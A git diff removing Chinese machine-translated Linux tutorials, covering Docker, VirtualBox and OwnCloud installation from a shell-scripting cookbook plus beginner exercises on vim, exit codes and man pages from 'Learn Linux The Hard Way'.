Apache 网络服务器: - -```sh -$ docker attach leph1 -root@131aaaeeac79:/# cd /var/www -root@131aaaeeac79:/var/www# mkdir symfony -root@131aaaeeac79:/var/www# mkdir symfony/web -root@131aaaeeac79:/var/www# cd symfony/web -root@131aaaeeac79:/var/www/symfony/web# echo "

It's Alive

" - >index.html -root@131aaaeeac79:/# cd /etc/init.d -root@131aaaeeac79:/etc/init.d# ./apache2 start -[....] Starting web server: apache2/usr/sbin/apache2ctl: 87: ulimit: error setting limit (Operation - not permitted) -Setting ulimit failed. See README.Debian for more information. -AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using - 172.17.0.5\. Set the 'ServerName' directive globally to suppress this message -. ok - -``` - -浏览至`172.17.0.5`将显示`It's Alive`页面。 - -# 停止 Docker 会话 - -`docker stop`命令终止正在运行的 Docker 会话: - -```sh - # docker stop leph1 - -``` - -# 删除 Docker 实例 - -`docker rm`命令移除一个容器。移除容器之前,必须将其停止。容器可以通过名称或标识符移除: - -```sh - # docker rm leph1 - -``` - -或者,您可以使用以下方法: - -```sh - # docker rm 131aaaeeac79 - -``` - -# 它是如何工作的 - -Docker 容器使用与`lxc`容器相同的`namespace`和`cgroup`内核支持。最初,Docker 是`lxc`之上的一层,但后来它演变成了一个独特的系统。 - -服务器的主要配置文件存储在/ `var/lib/docker`和`/etc/docker`处。 - -# 在 Linux 中使用虚拟机 - -在 Linux 中使用虚拟机有四种选择。三个开源选项是 KVM、XEN 和 VirtualBox。在商业上,VMware 提供了一个可以在 Linux 中托管的虚拟引擎和一个可以运行虚拟机的管理人员。 - -VMware 支持虚拟机的时间比任何人都长。它们支持作为主机的 Unix、Linux、Mac OS X 和 Windows,以及作为来宾系统的 Unix、Linux 和 Windows。对于商业用途,VMware Player 或 VMWare Workstation 是您的两个最佳选择。 - -KVM 和 VirtualBox 是 Linux 最流行的两个虚拟机引擎。KVM 提供了更好的性能,但它需要支持虚拟化的 CPU(英特尔 VT-x)。大多数现代英特尔和 AMD 处理器都支持这些功能。VirtualBox 的优势是可以移植到 Windows 和 Mac OS X,让你可以轻松地将一个虚拟机移动到另一个平台。VirtualBox 不需要 VT-x 支持,因此它既适用于传统系统,也适用于现代系统。 - -# 准备好 - -大多数发行版都支持 VirtualBox,但它可能不属于这些发行版的默认包存储库。 - -要在 Debian 9 上安装 VirtualBox,您需要将 virtualbox.org 存储库添加到 apt-get 将从以下站点接受包的站点: - -```sh -# vi /etc/apt/sources.list -## ADD: -deb http://download.virtualbox.org/virtualbox/debian stretch contrib - -``` - -安装正确的钥匙需要`curl`包。如果尚不存在,请在添加密钥和更新存储库信息之前安装它: - -```sh -# apt-get install curl -# curl -O https://www.virtualbox.org/download/oracle_vbox_2016.asc -# apt-key add oracle_vbox_2016.asc -# apt-get update - -``` - -存储库更新后,您可以使用`apt-get`安装 VirtualBox: - -```sh -# apt-get install virtualbox-5.1 - -OpenSuSE -# zypper install gcc make kernel-devel -Open yast2, select Software Management, search for virtualbox. -Select virtualbox, virtualbox-host-kmp-default, and virtualbox-qt. - -``` - -# 怎么做... - -安装 VirtualBox 后,它会在开始菜单中创建一个项目。它可能位于系统或应用/系统工具下。图形用户界面可以从终端会话作为`virtualbox`或作为`VirtualBox`启动。 - -VirtualBox 图形用户界面使创建和运行虚拟机变得容易。图形用户界面左上角有一个名为“新建”的按钮;这用于创建一个新的空虚拟机。向导会提示您输入新虚拟机的内存和磁盘限制等信息。 - -创建虚拟机后,启动按钮将被激活。默认设置将虚拟机的光盘连接到主机的光盘。您可以将安装盘放入光盘中,然后单击“开始”在新的虚拟机上安装操作系统。 - -# 云中的 Linux - -使用云服务器有两个主要原因。服务提供商使用商业云服务,如亚马逊的 AWS,因为它允许他们在需求较高时轻松增加资源,在需求较低时降低成本。云存储提供商,如谷歌文档,允许用户从任何设备访问他们的数据,并与其他人共享数据。 - -OwnCloud 包将您的 Linux 服务器转换为私有云存储系统。您可以将 OwnCloud 服务器用作私人公司文件共享系统,与朋友共享文件,或者用作手机或平板电脑的远程备份。 - -OwnCloud 项目于 2016 年分叉。预计 NextCloud 服务器和应用将使用与 OwnCloud 相同的协议,并且可以互换。 - -# 准备好了 - -运行 OwnCloud 包需要 **LAMP** ( **Linux、Apache、MySQL、PHP** )安装。所有 Linux 发行版都支持这些软件包,尽管默认情况下可能不会安装。管理和安装 MySQL 在[第 10 章](10.html)、*管理调用*中讨论。 - -大多数发行版在其存储库中不包括 OwnCloud 服务器。相反,OwnCloud 项目维护存储库来支持发行版。在下载之前,您需要将自己的云附加到您的 RPM 或 apt 存储库中。 - -# Ubuntu 16.10 - -以下步骤将在 Ubuntu 16.10 系统上安装 LAMP 堆栈。类似的命令适用于任何基于 Debian 的系统。不幸的是,不同版本的软件包名称有时会有所不同: - -```sh - apt-get install apache2 - apt-get install mysql-server php-mysql - -``` - -OwnCloud 需要超出默认设置的安全性。`mysql_secure_installation`脚本将正确配置 MySQL: - -```sh - /usr/bin/mysql_secure_installation - -``` - -配置`OwnCloud`存储库: - -```sh -curl \ https://download.owncloud.org/download/repositories/stable/ \ Ubuntu_16.10/Release.key/'| sudo tee \ /etc/apt/sources.list.d/owncloud.list - -apt-get update - -``` - -一旦存储库就位,apt 将安装并启动服务器: - -```sh - apt-get install owncloud - -``` - -# 风滚草 - -用 **Yast2** 安装**灯**堆。打开`yast2`,选择软件管理,安装`apache2`、`mysql`、`owncloud-client`。 - -接下来,选择`System`选项卡,并从该选项卡中选择`Services Manager`选项卡。确认`mysql`和`apache2`服务已启用并处于活动状态。 - -这些步骤会安装 OwnCloud 客户端,让您将工作区与 OwnCloud 服务器和服务器的系统要求同步。 - -OwnCloud 需要超出默认设置的安全性。`mysql_secure_installation`脚本将正确配置 MySQL: - -```sh - /usr/bin/mysql_secure_installation - -``` - -以下命令将安装并启动 OwnCloud 服务器。前三个命令将`zypper`配置为包含 OwnCloud 存储库。一旦添加了这些存储库,Owncloud 包就会像任何其他包一样安装: - -```sh -rpm --import https://download.owncloud.org/download/repositories/stable/openSUSE_Leap_42.2/repodata/repomd.xml.key - -zypper addrepo http://download.owncloud.org/download/repositories/stable/openSUSE_Leap_42.2/ce:stable.repo - -zypper refresh - -zypper install owncloud - -``` - -# 怎么做... - -一旦安装了 OwnCloud,您就可以配置一个管理帐户,并从那里添加用户帐户。下一代云安卓应用将与自己的云服务器以及下一代云服务器进行通信。 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/README.md b/docs/linux-shell-script-cb/README.md deleted file mode 100644 index c4f4c8f9..00000000 --- a/docs/linux-shell-script-cb/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux Shell 编程秘籍 - -> 原文:[Linux Shell Scripting Cookbook](https://libgen.rs/book/index.php?md5=ABA4B56CB4F69896DB2E9CFE0817AFEF) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-shell-script-cb/SUMMARY.md b/docs/linux-shell-script-cb/SUMMARY.md deleted file mode 100644 index 74d3aed8..00000000 --- a/docs/linux-shell-script-cb/SUMMARY.md +++ /dev/null @@ -1,15 +0,0 @@ -+ [Linux Shell 编程秘籍](README.md) -+ [零、前言](00.md) -+ [一、使用 Shell 输出一些东西](01.md) -+ [二、编写良好的命令](02.md) -+ [三、文件进文件出](03.md) -+ [四、打字和开车](04.md) -+ [五、纠结网络?一点也不会!](05.md) -+ [六、存储库管理](06.md) -+ [七、备份](07.md) -+ [八、老男孩网络](08.md) -+ [九、戴上监控器的帽子](09.md) -+ [十、管理调用](10.md) -+ [十一、追踪线索](11.md) -+ [十二、调整 Linux 系统](12.md) -+ [十三、容器、虚拟机和云](13.md) diff --git a/docs/llthw-zh/README.md b/docs/llthw-zh/README.md deleted file mode 100644 index e9819996..00000000 --- a/docs/llthw-zh/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# 笨办法学 Linux 中文版 - -原书:[Learn Linux The Hard Way (β version)](https://archive.fo/xDb8o) - -译者:[飞龙](https://github.com/wizardforcel) - -自豪地采用[谷歌翻译](https://translate.google.cn/) - -+ [在线阅读](https://llthw.apachecn.org) -+ [在线阅读(Gitee)](https://apachecn.gitee.io/llthw-zh/) -+ [PDF格式](https://www.gitbook.com/download/pdf/book/wizardforcel/llthw) -+ [EPUB格式](https://www.gitbook.com/download/epub/book/wizardforcel/llthw) -+ [MOBI格式](https://www.gitbook.com/download/mobi/book/wizardforcel/llthw) -+ [代码仓库](http://github.com/wizardforcel/llthw-zh) - -## 下载 - -### Docker - -``` -docker pull apachecn0/llthw-zh -docker run -tid -p :80 apachecn0/llthw-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install llthw-zh -llthw-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g llthw-zh -llthw-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我 - -![](img/qr_alipay.png) - -## 协议 - -[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) diff --git a/docs/llthw-zh/SUMMARY.md b/docs/llthw-zh/SUMMARY.md deleted file mode 100644 index c054beb7..00000000 --- a/docs/llthw-zh/SUMMARY.md +++ /dev/null @@ -1,35 +0,0 @@ -+ [笨办法学 Linux 中文版](README.md) -+ [练习 0:起步](ex0.md) -+ [练习 1:文本编辑器,vim](ex1.md) -+ [练习 2:文本浏览器,少即是多](ex2.md) -+ [练习 3:Bash:Shell、`.profile`、`.bashrc`、`.bash_history`](ex3.md) -+ [练习 4:Bash:处理文件,`pwd`,`ls`,`cp`,`mv`,`rm`,`touch`](ex4.md) -+ [练习 5:Bash:环境变量,`env`,`set`,`export`](ex5.md) -+ [练习 6:Bash:语言设置,`LANG`,`locale`,`dpkg-reconfigure locales`](ex6.md) -+ [练习 7:Bash:重定向,`stdin`,`stdout`,`stderr`,`<`,`>`,`>>`,`|`,`tee`,`pv`](ex7.md) -+ [练习 8:更多的重定向和过滤:`head`,`tail`,`awk`,`grep`,`sed`](ex8.md) -+ [练习 9:Bash:任务控制,`jobs`,`fg`](ex9.md) -+ [练习 10:Bash:程序退出代码(返回状态)](ex10.md) -+ [练习 11:总结](ex11.md) -+ [练习 12:文档:`man`,`info`](ex12.md) -+ [练习 13:文档:Google](ex13.md) -+ [练习 14:包管理:Debian 包管理工具`aptitude`](ex14.md) -+ [练习 15:系统启动:运行级别,`/etc/init.d`,`rcconf`,`update-rc.d`](ex15.md) -+ [练习 16:处理进程,`ps`,`kill`](ex16.md) -+ [练习 17:任务调度:`cron`,`at`](ex17.md) -+ [练习 18:日志:`/var/log`,`rsyslog`,`logger`](ex18.md) -+ [练习 19:文件系统:挂载,`mount`,`/etc/fstab`](ex19.md) -+ [练习 20:文件系统:修改和创建文件系统,`tune2fs`,`mkfs`](ex20.md) -+ [练习 21:文件系统:修改根目录,`chroot`](ex21.md) -+ [练习 22:文件系统:移动数据,`tar`,`dd`](ex22.md) -+ [练习 23:文件系统:权限,`chown`,`chmod`,`umask`](ex23.md) -+ [练习 24:接口配置,`ifconfig`,`netstat`,`iproute2`,`ss`,`route`](ex24.md) -+ [练习 25:网络:配置文件,`/etc/network/interfaces`](ex25.md) -+ [练习 26:网络:封包过滤配置,`iptables`](ex26.md) -+ [练习 27:安全 Shell,`ssh`,`sshd`,`scp`](ex27.md) -+ [练习 28:性能:获取性能情况,`uptime`,`free`,`top` -](ex28.md) -+ [练习 29:内核:内核消息,`dmesg`](ex29.md) -+ [练习 30:打磨、洗练、重复:总复习](ex30.md) -+ [下一步做什么](next.md) -+ [Debian 手动安装](dmi.md) diff --git a/docs/llthw-zh/ex0.md b/docs/llthw-zh/ex0.md deleted file mode 100644 index 1ea2fe3f..00000000 --- a/docs/llthw-zh/ex0.md +++ /dev/null @@ -1,75 +0,0 @@ -# 练习 0:起步 - -> 原文:[Exercise 0. The Setup](https://archive.fo/ZfhWN) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -## Windows,手动安装 - -[非常长的指南](https://archive.fo/p1ZHn) - -## Windows,VirtualBox 虚拟机(`.ova`格式的预配置映像) - -### 你需要什么 - -+ VitualBox,虚拟机播放器。 -+ putty,终端模拟器。 -+ 预配置的 VirtualBox Debian 映像。 - -## 这样做 - -+ 下载并安装 [VirtualBox](http://download.virtualbox.org/virtualbox/4.1.18/VirtualBox-4.1.18-78361-Win.exe) - -+ 下载并安装 [Putty](http://the.earth.li/~sgtatham/putty/latest/x86/putty-0.62-installer.exe)。 - -+ 下载此文件: - - 另一个链接: - - 或另一个链接: - - ``` - md5: 7ac8a6059460f7f3e39aee7c4ee2c230 - sha256: 18d8f31d0894c89865d5306b0cb3284d8889e15d155c7435fc7888f3dbafa3ec - ``` - -+ 打开文件 - - ![](img/0-1.png) - -+ 点击`Import` - - ![](img/0-2.png) - -+ 选择`vm1`并点击`Start` - - ![](img/0-3.png) - -+ 等待`vm1`启动 - - ![](img/0-4.png) - -+ 启动`putty`,在`Host Name`或者`IP Address`中输入`localhost`。之后点击`Open` - - ![](img/0-5.png) - -+ 输入`user1`, ``, `123qwe`, ``。 - - ![](img/0-6.png) - -+ 恭喜,你现在登入了`vm1`。 - - ![](img/0-7.png) - -## Linux - -你已经使用 Linux 了,你还需要什么嘛?开个玩笑。你可以严格遵循我的指南,或者随意在你的系统上做实验。 - -## Mac OS - -以后我会在这里把步骤补上。 - diff --git a/docs/llthw-zh/ex1.md b/docs/llthw-zh/ex1.md deleted file mode 100644 index bf4c6064..00000000 --- a/docs/llthw-zh/ex1.md +++ /dev/null @@ -1,167 +0,0 @@ -# 练习 1:文本编辑器,vim - -> 原文:[Exercise 1. Text Editor, The: vim](https://archive.fo/5vf0X) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -在 Linux 中,就像任何类 Unix 操作系统,一切都只是文件。而 Unix 哲学指出,配置文件必须是人类可读和可编辑的。在几乎所有的情况下,它们只是纯文本。所以,首先,你必须学习如何编辑文本文件。 - -为此,我强烈建议你学习 vim 的基础知识,这是在 Linux 中处理文本的最强大的工具之一。Vim 是由 Bill Joy 于 1976 年编写的,[vi](http://en.wikipedia.org/wiki/Vi) 的重新实现。vi 实现了一个非常成功的概念,甚至 Microsoft Visual Studio 2012 有一个[插件](http://visualstudiogallery.msdn.microsoft.com/59ca71b3-a4a3-46ca-8fe1-0e90e3f79329/),它提供了一个模式,与这个超过 35 岁的编辑器兼容。你可以在这里玩转它([这是在浏览器中运行的真正的 Linux](https://bellard.org/jslinux/vm.html?url=https://bellard.org/jslinux/buildroot-x86.cfg))。完成之后,最后获取我的虚拟机。 - -如果我还没成功说服你,你可以了解 [nano](http://www.howtogeek.com/howto/42980/the-beginners-guide-to-nano-the-linux-command-line-text-editor/)来代替。但至少要试试。 - -现在,登入`vm1`,之后键入: - -``` -vim hello.txt -``` - -你应该看到: - -``` -Hello, brave adventurer! -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -"hello.txt" [New File] 0,0-1 All -``` - -有一个笑话说,vim有两种模式 - “反复哔哔”和“破坏一切”。那么,如果你不知道如何使用 vim,这是非常真实的,因为 vim 是模态的文本编辑器。模式是: - -+ 普通模式:移动光标并执行删除,复制和粘贴等文本操作。 -+ 插入模式:输入文本。 - -> 译者注:还有一个命令模式,用于生成真 · 随机字符串(笑)。 - -这十分使新手头疼,因为他们试图尽可能地避免普通模式。那么这是错误的,所以现在我将给你正确的大纲来使用 vim : - - -``` -start vim -while editing is not finished, repeat - navigate to desired position in NORMAL mode - enter INSERT mode by pressing i - type text - exit INSERT mode by pressing -when editing is finished, type :wq -``` - -最重要的是,几乎任何时候都呆在普通模式,短时间内进入插入模式,然后立即退出。以这种方式,vim 只有一种模式,而这种模式是普通模式。 - -现在让我们试试吧。记住,按`i`进入插入模式,以及`` 返回到普通模式。键入以下内容(在每行末尾按``): - -``` -iRoses are red -Linux is scary - -``` - -这是你应该看到的: - -``` -Roses are red -Linux is scary -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ - 4,17 All -``` - -现在我给你命令列表,在普通模式下移动光标: - -+ `h` - 向左移动 -+ `j` - 向下移动 -+ `k` - 向上移动 -+ `l` - 右移 -+ `i` - 进入插入模式 -+ `o` - 在光标下插入一行并进入插入模式 -+ `` - 退出插入模式 -+ `x` - 删除光标下的符号 -+ `dd` - 删除一行 -+ `:wq` - 将更改写入文件并退出。是的,没错,这是一个冒号,后面跟着`wq`和``。 -+ `:q!` - 不要对文件进行更改并退出。 - -那就够了。现在,将光标放在第一行并输入: - -``` -oViolets are blue -``` -之后,将光标放在`Linux is scary`那一行,并输入: - - -``` -oBut I'm scary too -``` - -你应该看到: - -``` -Roses are red -Violets are blue -Linux is scary -But I'm scary too -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ - 4,17 All -``` - -现在键入`:wq`保存文件,并退出。你应该看到: - -``` -Violets are blue -Linux is scary -But I'm scary too -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -~ -"hello.txt" 4L, 64C written -user1@vm1:~$ -``` - -好的。你做到它了。你刚刚在 vim 中编辑了文本文件,很好很强大! - -## 附加题 - -+ 通过键入键入`vim hello.txt`再次启动 vim,并尝试我给你的一些命令。 -+ 玩这个游戏,它会让你更熟悉 vim: diff --git a/docs/llthw-zh/ex10.md b/docs/llthw-zh/ex10.md deleted file mode 100644 index 221581a2..00000000 --- a/docs/llthw-zh/ex10.md +++ /dev/null @@ -1,64 +0,0 @@ -# 练习 10:Bash:程序退出代码(返回状态) - -> 原文:[Exercise 10. Bash: program exit code (return status)](https://archive.fo/ygzso) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -让我们假设你要复制一个目录。你可以通过键入`cp -vR /old/dir/path /new/dir/path`来执行此操作。发出此命令后,你可能想知道如何进行。目录是否被复制?还是出现了一些错误,因为目标目录空间不足,或其他出现错误的东西? - -为了理解它是如何工作的,你必须了解两个程序如何通信。我们先这样说,bash 只是另一个程序,所以一般来说,当你发出上述的`cp`命令时,一个程序(bash,它是父进程)调用了另一个程序(`cp`,它是子进程)。 - -在 Linux 中,有一个标准机制,用于获取从子进程到父进程的信息,这个机制称为[退出状态或返回代码](http://en.wikipedia.org/wiki/Exit_status)。通过使用这种机制,当子进程完成其工作时,一个小的数字从子进程(或被调用者,这里是`cp`)传递给父进程(或调用者,这里是 bash)。当程序在执行期间没遇到错误时,它返回`0`,如果发生某些错误,则此代码不为零。就是这么简单。Bash 中的这个退出代码保存到`?`环境变量,你现在知道了,可以使用`$?`来访问。 - -让我再次重复一下我现在所说的话: - -``` -Bash 等待你的输入 -Bash 解析你的输入 -Bash 为你启动程序,并等待这个程序退出 - 程序启动 - 程序做你让他做的事情 - 程序生成了退出代码 - 程序退出并且将退出代码返回给 Bash -Bash 将这个退出代码赋给变量 ? -``` - -现在你学到了如何打印出你的程序的退出状态。 - -## 这样做 - -``` -1: ls -2: echo $? -3: ls /no/such/dir -4: echo $? -``` - -## 你会看到什么 - -``` -user1@vm1:~$ ls -hello.txt ls.out -user1@vm1:~$ echo $? -0 -user1@vm1:~$ ls /no/such/dir -ls: cannot access /no/such/dir: No such file or directory -user1@vm1:~$ echo $? -2 -user1@vm1:~$ -``` - -## 解释 - -+ 打印出一个目录,成功。 -+ 打印出`ls`的退出代码,它是`0`,这意味着`ls`没有遇到任何错误。 -+ 尝试打印出不存在的目录,当然失败。 -+ 打印`ls /no/such/dir`的退出代码,它确实是非零。 - -## 附加题 - -阅读`man ls`的退出代码部分。 diff --git a/docs/llthw-zh/ex11.md b/docs/llthw-zh/ex11.md deleted file mode 100644 index fc24836b..00000000 --- a/docs/llthw-zh/ex11.md +++ /dev/null @@ -1,134 +0,0 @@ -# 练习 11:总结 - -> 原文:[Exercise 11. Bash: wrapping up](https://archive.fo/PfSHQ) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -现在你已经尝试过,如何在 Linux 中使用 CLI 的感觉,下一步是打开你喜欢的文本编辑器,并为自己制作下表。搜索那些你不知道的命令和符号的意思。警告!为了有效,你必须手动输入此表。搜索这些新的术语和命令。 - -现在你将学习如何研究某些东西。并记住,不要复制粘贴! - -## 术语 - -| 术语 | 含义 | -| --- | --- | -| vim 正常模式 | | -| vim 命令模式 | | -| CLI | | -| SHell | | -| 配置 | | -| 文件 | | -| 文件描述符 | | -| 进程 | | -| 程序 | | -| 环境 | | -| 环境变量 | | -| 重定向 | | -| 管道 | | -| 文本流 | | -| 标准输入 | | -| 标准输出 | | -| 标准错误 | | -| EOF | | -| 过滤 | | -| 任务 | | -| 前台任务 | | -| 后台任务 | | -| 退出代码 | | - -## `vim` - -| 命令 | 含义 | -| --- | --- | -| `vim` | | -| `h` | | -| `j` | | -| `k` | | -| `l` | | -| `i` | | -| `o` | | -| `` | | -| `x` | | -| `dd` | | -| `:wq` | | -| `:q!` | | -| `/` | | - -## `less` - -| 命令 | 含义 | -| --- | --- | -| `less` | | -| `j` | | -| `k` | | -| `q` | | -| `--ch` | | -| `/` | | -| `&` | | - -## Bash 和 Bash 内建命令 - -| 命令 | 含义 | -| --- | --- | -| `echo` | | -| `history` | | -| `exit` | | -| `pwd` | | -| `=` | | -| `$` | | -| `?` | | -| `set` | | -| `env` | | -| `export` | | -| `$LANG` | | -| `read` | | -| `+z` | | -| `+c` | | -| `jobs` | | -| `fg` | | - -## 重定向 - -| 命令 | 含义 | -| --- | --- | -| `>` | | -| `<` | | -| `>>` | | -| `|` | | -| `/dev/stdin` | | -| `/dev/stdout` | | -| `/dev/stderr` | | - -## 其它你学到的程序 - -| 命令 | 含义 | -| --- | --- | -| `man` | | -| `ls` | | -| `cat` | | -| `dpkg-reconfigure` | | -| `head` | | -| `tail` | | -| `grep` | | -| `awk` | | -| `sed` | | -| `tee` | | -| `dd` | | -| `pv` | | -| `locale` | | -| `sudo` | | -| `cp` | | -| `mv` | | -| `rm` | | -| `touch` | | -| `wc` | | - -填写表格后,在后面为每个命令编写注解,然后重复一次,然后再睡一个礼拜。是的,我的意思是,从那些笔和纸上抖掉灰尘,然后这样做。 - -## 附加题 - -没有附加题。只需学习这些命令,直到你熟记于心。 diff --git a/docs/llthw-zh/ex12.md b/docs/llthw-zh/ex12.md deleted file mode 100644 index 6dd484e3..00000000 --- a/docs/llthw-zh/ex12.md +++ /dev/null @@ -1,109 +0,0 @@ -# 练习 12:文档:`man`,`info` - -> 原文:[Exercise 12. Documentation: man, info](https://archive.fo/6fbXi) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -既然你已经尝试过了 Linux,现在是时候介绍 Linux 在线文档工具了。你已经知道`man`了,因为我让你在里面查找东西。也许你甚至阅读了`man`的文档页面。所以无论如何,你需要什么来了解`man`,以便有效地使用它? - -首先,手册页只是包含特殊标记的压缩文本文件,所以`man`程序知道如何为你设置格式。在 Debian 中,它们位于`/usr/share/man/`中。你可以使用`zless`浏览它们 。它甚至不是一个程序,而是一个 shell 脚本,它解压缩文件并调用`less`。 - -接下来,我将引用`man`手册页,关于它的分类: - -1. 可执行程序或 shell 命令 -2. 系统调用(内核提供的函数) -3. 库调用(程序库中的函数) -4. 特殊文件(通常在`/dev`中找到) -5. 文件格式和约定,例如`/etc/passwd` -6. 游戏 -7. 其他(包括宏及惯例),例如`man(7)`,`groff(7)` -8. 系统管理命令(通常仅适用于 root 用户) -9. 内核例程[非标准] - -这正是字面的意思。为了调用`man`的适当分类,请键入其分类编号,如`man 1`。如果你不明白某些分类是什么意思,则不用担心,现在你只需要第 1 个和第 8 个 ,这些分类是系统上安装的程序和系统管理员工作。此外,你已经知道`man(7)`是什么。 - -这是手册页的标准小节: - -+ NAME(名称) - 程序名称和简短描述。 -+ SYNOPSIS(概要) - 可用程序选项的简短列表 -+ DESCRIPTION(描述) - 程序的描述和可用参数的说明。 -+ OPTIONS(选项) - 一些手册页在这里继续说明可用的参数。 -+ EXIT STATUS(退出状态) - 每个程序返回一个代表其成功或失败的代码。这里解释这些代码值。 -+ RETURN VALUE(返回值) - 通常与退出状态相同。 -+ ERRORS(错误) - 程序中已知的错误。 -+ ENVIRONMENT(环境) - 环境变量。在调用程序之前设置它们。 -+ FILES(文件) - 通常是程序配置文件。 -+ VERSIONS(版本) - 有关程序更改的信息。 -+ CONFORMING TO(适用于) - 兼容性说明。 -+ NOTES(注意) - 手册的作者不知道放在哪里的信息。 -+ BUGS - 程序中已知的错误。 -+ EXAMPLE(示例) - 包含程序调用的示例。很有用! -+ AUTHORS(作者) - 谁写的程序。 -+ SEE ALSO(另见)- 相关手册页。 - -现在是惯例,再次引用: - -+ **粗体文本** - 类型完全如图所示。 -+ *斜体文本* - 用适当的参数替换。这个文字大部分显示不是斜体,而是像下划线一样 。 -+ `[-abc]` - `[]`内的任何或所有参数是可选的。 -+ `-a|-b` - 由`|`分隔的选项不能一起使用 -+ `argument …` - 参数是可重复的。 -+ `[expression] …` - `[]`中的整个表达式是可重复的。 - -我会通过示例来演示它。`man less`会展示: - -![](img/12-1.png) - -好吧,看起来有些恐怖。前四行很简单,只需要键入展示的东西,就是这样: - -1\. `less -?` -2\. `less –help` -3\. `less -V` -4\. `less –version` - -从第 5 行开始,我们可以看到,斜体 文本确实显示为下划线。而且,看起来完全不可理解。让我们一起看看。 - -5\. `less [-[+]aBcCdeEfFgGiIJKLmMnNqQrRsSuUVwWX~]` - 这看起来更可怕。 - -首先,它是可选的,因为所有参数都包含在`[]`中。 -其次,当指定参数时,必须以`-`开头。这是非可选的。 -第三,之后,你可以指定可选修饰符`+`,这在手册中进一步说明。 -第四,你可以指定一个或几个命令,在这里显示为字母序列。例如,你可以输入`less -S .bashrc`,或`less -+S .bashrc`或`less -SG .bashrc .profile`或更少`less -+SG .bashrc .profile`。 - -6\. `[-b space] [-h lines] [-j line] [-k keyfile]` - 简单的说,你可以指定任何选项`-b`,`-h`,`-j`,`-k`,分别带有参数空格,多个行,单个行和密钥文件,它们在手册中进一步介绍。 - -7\. `[-{oO} logfile] [-p pattern] [-P prompt] [-t tag]` - 几乎和第六行相同。`-{oO}`的意思是,你可以指定`-o`或`-O`,但不能同时指定二者。 - -8\. `[-T tagsfile] [-x tab,…] [-y lines] [-[z] lines]` - 同样,几乎和第六行相同。`-x tab,…`的意思是,,你可以在`-x`之后指定几个值,例如`-x9`或`-x9,17`。`-[z] lines`表示,`-z`是可选的,你可以输入`less -10`来代替`less -z10`。 - -9\. `[-# shift] [+[+]cmd] [- -] [filename]…` - 这有点更加神秘。`+[+]cmd`表示你可以输入`less +cmd`或`less ++ cmd`。`- -`只是一个前缀。`[filename]…`读取一个或多个,意思是你可以在调用`less`时指定多个文件,例如`less .bashrc`,`less .bashrc .profile`,以及其他。 - -我们结束了!不是那么可怕,是吗?记住,由于你正在使用`less`查看手册,为了搜索某些选项的含义,键入`/key`或`&key`。例如,要搜索`-T`选项的意思,请键入`/-T`。 - -现在我将向你提供实用的`man`命令的列表: - -+ `man -k` - 列出系统中的所有手册页。不是非常有用,但你可能希望看到此列表。或者你可以通过键入`man -k | wc`来计数它们。 -+ `man -k [search string]` - 在搜索手册页描述中搜索内容。试试这个:`man -k tty`。 -+ `man -wK [search string]` - 在手册页正文中搜索内容。试试这个:`man -wK tty`。 - 